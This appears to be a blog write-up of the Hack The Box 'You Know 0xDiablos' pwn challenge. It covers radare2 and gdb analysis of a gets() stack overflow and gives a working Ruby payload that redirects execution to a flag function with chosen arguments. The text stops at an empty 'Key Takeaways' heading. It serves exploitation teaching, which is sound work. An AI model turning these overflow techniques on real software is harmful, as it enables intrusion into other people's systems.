You Know 0xDiablos Writeup

10 September 2022 #CTF #HTB #chall #easy #pwn

First Look

The first (crucial) step is to download the executable we are trying to exploit. Trying to work on the remote instance is not a good idea.

download executable

We can run the file command to learn about this executable:

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped

'ELF' stands for Executable and Linkable Format, that's good to know. It is also 32 bit.

We should run it normaly to see how it works:

$ ./vuln
You know who are 0xDiablos:

It just waits for input, then echoes it back to us.

Static Analysis

Now is time to fire up radare2, a reverse engeneering tool:

$ r2 vuln
[0x080490d0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x080490d0]> afl
0x080490d0    1 50           entry0
0x08049103    1 4            fcn.08049103
0x08049090    1 6            sym.imp.__libc_start_main
0x08049130    4 49   -> 40   sym.deregister_tm_clones
0x08049170    4 57   -> 53   sym.register_tm_clones
0x080491b0    3 33   -> 30   sym.__do_global_dtors_aux
0x080491e0    1 2            entry.init0
0x08049390    1 1            sym.__libc_csu_fini
0x08049120    1 4            sym.__x86.get_pc_thunk.bx
0x08049391    1 4            sym.__x86.get_pc_thunk.bp
0x08049272    1 63           sym.vuln
0x08049040    1 6            sym.imp.gets
0x08049070    1 6            sym.imp.puts
0x08049398    1 20           sym._fini
0x08049330    4 93           sym.__libc_csu_init
0x08049110    1 1            sym._dl_relocate_static_pie
0x080492b1    1 118          main
0x080490a0    1 6            sym.imp.setvbuf
0x08049060    1 6            sym.imp.getegid
0x080490c0    1 6            sym.imp.setresgid
0x080491e2    8 144          sym.flag
0x080490b0    1 6            sym.imp.fopen
0x08049080    1 6            sym.imp.exit
0x08049050    1 6            sym.imp.fgets
0x08049030    1 6            sym.imp.printf
0x08049000    3 32           sym._init


Right off the bat, we notice 2 functions called vuln and flag which definitely look interesting, but let's start with the main function:

[0x080490d0]> s main
[0x080492b1]> pdf
│       0x08049304  8d8338e0ffff  lea eax, [ebx - 0x1fc8]
│       0x0804930a  50            push eax                 ; const char *s
│       0x0804930b  e860fdffff    call sym.imp.puts        ; int puts(const char *s)
│       0x08049310  83c410        add esp, 0x10
│       0x08049313  e85affffff    call sym.vuln

We see the call to puts which prints 'You know who are 0xDiablos:' before calling vuln.


Here is the vuln function:

[0x080492b1]> s sym.vuln
[0x08049272]> pdf
            ; CALL XREF from main @ 0x8049313
┌ 63: sym.vuln ();
│    ; var char *s @ ebp-0xb8
│    ; var int32_t var_4h @ ebp-0x4
│    0x08049272      55             push ebp
│    0x08049273      89e5           mov ebp, esp
│    0x08049275      53             push ebx
│    0x08049276      81ecb4000000   sub esp, 0xb4
│    0x0804927c      e89ffeffff	    call sym.__x86.get_pc_thunk.bx
│    0x08049281      81c37f2d0000   add ebx, 0x2d7f
│    0x08049287      83ec0c         sub esp, 0xc
│    0x0804928a      8d8548ffffff   lea eax, [s]
│    0x08049290      50             push eax              ; char *s
│    0x08049291      e8aafdffff     call sym.imp.gets     ; char *gets(char *s)
│    0x08049296      83c410         add esp, 0x10
│    0x08049299      83ec0c         sub esp, 0xc
│    0x0804929c      8d8548ffffff   lea eax, [s]
│    0x080492a2      50             push eax              ; const char *s
│    0x080492a3      e8c8fdffff     call sym.imp.puts     ; int puts(const char *s)

There is this variable s which is a buffer stored on the stack and a call to the gets function.

gets does not check how many bytes it copies into the buffer, meaning we can overwrite the stack and do bad things.


Remember that flag function we saw earlier? Let's check it out:

[0x080491e2]> s sym.flag
[0x080491e2]> pdf
┌ 144: sym.flag (uint32_t arg_8h, uint32_t arg_ch);
│           ; var char *format @ ebp-0x4c
│           ; var file*stream @ ebp-0xc
│           ; var int32_t var_4h @ ebp-0x4
│           ; arg uint32_t arg_8h @ ebp+0x8
│           ; arg uint32_t arg_ch @ ebp+0xc
│       0x08049205      e8a6feffff       call sym.imp.fopen          ; file*fopen(const char *filename, const char *mode)
│       0x0804920a      83c410           add esp, 0x10
│       0x0804920d      8945f4           mov dword [stream], eax
│       0x08049210      837df400         cmp dword [stream], 0
│   ┌─< 0x08049214      751c             jne 0x8049232
│   │   0x08049216      83ec0c           sub esp, 0xc
│   │   0x08049219      8d8314e0ffff     lea eax, [ebx - 0x1fec]
│   │   0x0804921f      50               push eax                    ; const char *s
│   │   0x08049220      e84bfeffff       call sym.imp.puts           ; int puts(const char *s)
│   │   0x08049225      83c410           add esp, 0x10
│   │   0x08049228      83ec0c           sub esp, 0xc
│   │   0x0804922b      6a00             push 0                      ; int status
│   │   0x0804922d      e84efeffff       call sym.imp.exit           ; void exit(int status)
│   └─> 0x08049232      83ec04           sub esp, 4
│       0x08049235      ff75f4           push dword [stream]         ; FILE *stream
│       0x08049238      6a40             push 0x40                   ; '@' ; 64 ; int size
│       0x0804923a      8d45b4           lea eax, [format]
│       0x0804923d      50               push eax                    ; char *s
│       0x0804923e      e80dfeffff       call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
│       0x08049243      83c410           add esp, 0x10
│       0x08049246      817d08efbead.    cmp dword [arg_8h], 0xdeadbeef
│   ┌─< 0x0804924d      751a             jne 0x8049269
│   │   0x0804924f      817d0c0dd0de.    cmp dword [arg_ch], 0xc0ded00d
│  ┌──< 0x08049256      7514             jne 0x804926c
│  ││   0x08049258      83ec0c           sub esp, 0xc
│  ││   0x0804925b      8d45b4           lea eax, [format]
│  ││   0x0804925e      50               push eax                    ; const char *format
│  ││   0x0804925f      e8ccfdffff       call sym.imp.printf         ; int printf(const char *format)

This function is a bit bigger but essentialy:

If I had to guess, the file contains our flag (:

However, you may have noticed this function is not called anywhere...



Our goal is to somehow call this flag function. To do that, we have to take advantage of the buffer overflow to overwrite the eip register which contains the address of next instruction to be executed.

WTF bro I don't understand any of what you just said!

Then you should watch liveoverflow's binary exploitation playlist, it is a really good introduction (and even more).

The first step is to know how many bytes are needed to overwrite eip.

This time, we will use gdb with the gef extension.

Create a unique pattern with the pattern create command that we'll use as input:

$ gdb vuln
gef> pattern create 200
[+] Generating a pattern of 200 bytes (n=4)
gef> r
You know who are 0xDiablos:
$eip   : 0x62616177 ("waab"?)

run pattern offset to get the offset:

gef> pattern offset waab
[+] Searching for 'waab'
[+] Found at offset 188 (big-endian search)

Nice, we know that we need 188 bytes of padding before overwriting eip and the flag function is at address 0x080491e2 (check with radare).

Exploit script

Let's write a simple exploit in ruby:

padding	= 'A' * 188
eip	= 0x080491e2  # address of flag function

payload = padding
payload += [eip].pack 'L'

puts payload

Nothing fancy, we have our 188 bytes of padding and the address of the flag function.

We must use pack to put the bytes in little endian. (computers store bytes in reverse order, weird I know...)

Let's first test it in gdb. Set a breakpoint after the gets call to inspect the registers after our payload:

$ ruby pwn.rb > payload
$ gdb vuln
gef> b *0x08049296
gef> r < payload
$eip   : 0x80491e2  →  <flag+0> push ebp

Perfect, we successfuly overwrote the eip register and jumped to the flag function.

Let's test it for 'real':

$ ruby pwn.rb | ./vuln
You know who are 0xDiablos: 
Hurry up and try in on server side.

Final Step

Spoiler: we can't use this on server side yet.

Remember when we analyzed the flag function? At some point, it compares the arguments of the function to some values.

We have to pass those values as arguments to the flag function. Since it is a 32 bit executable, arguments are pushed on the stack in reverse order.

That means our payload should look like this:

padding = 'A' * 188
eip     = 0x080491e2  # address of flag function
arg1    = 0xdeadbeef
arg2    = 0xc0ded00d

payload = padding
payload += [eip].pack 'L'
payload += 'lmao'           # random bytes as padding
payload += [arg1].pack 'L'
payload += [arg2].pack 'L'

puts payload

In order to test this payload, we should create a file called 'flag.txt' (this is the file that the flag function tries to open).

$ echo 'YOU WON' > flag.txt
$ ruby pwn.rb | ./vuln
You know who are 0xDiablos:
zsh: done                              ruby pwn.rb |
zsh: segmentation fault (core dumped)  ./vuln

Nice, now we can use this on the remote instance and get our flag.

Key Takeaways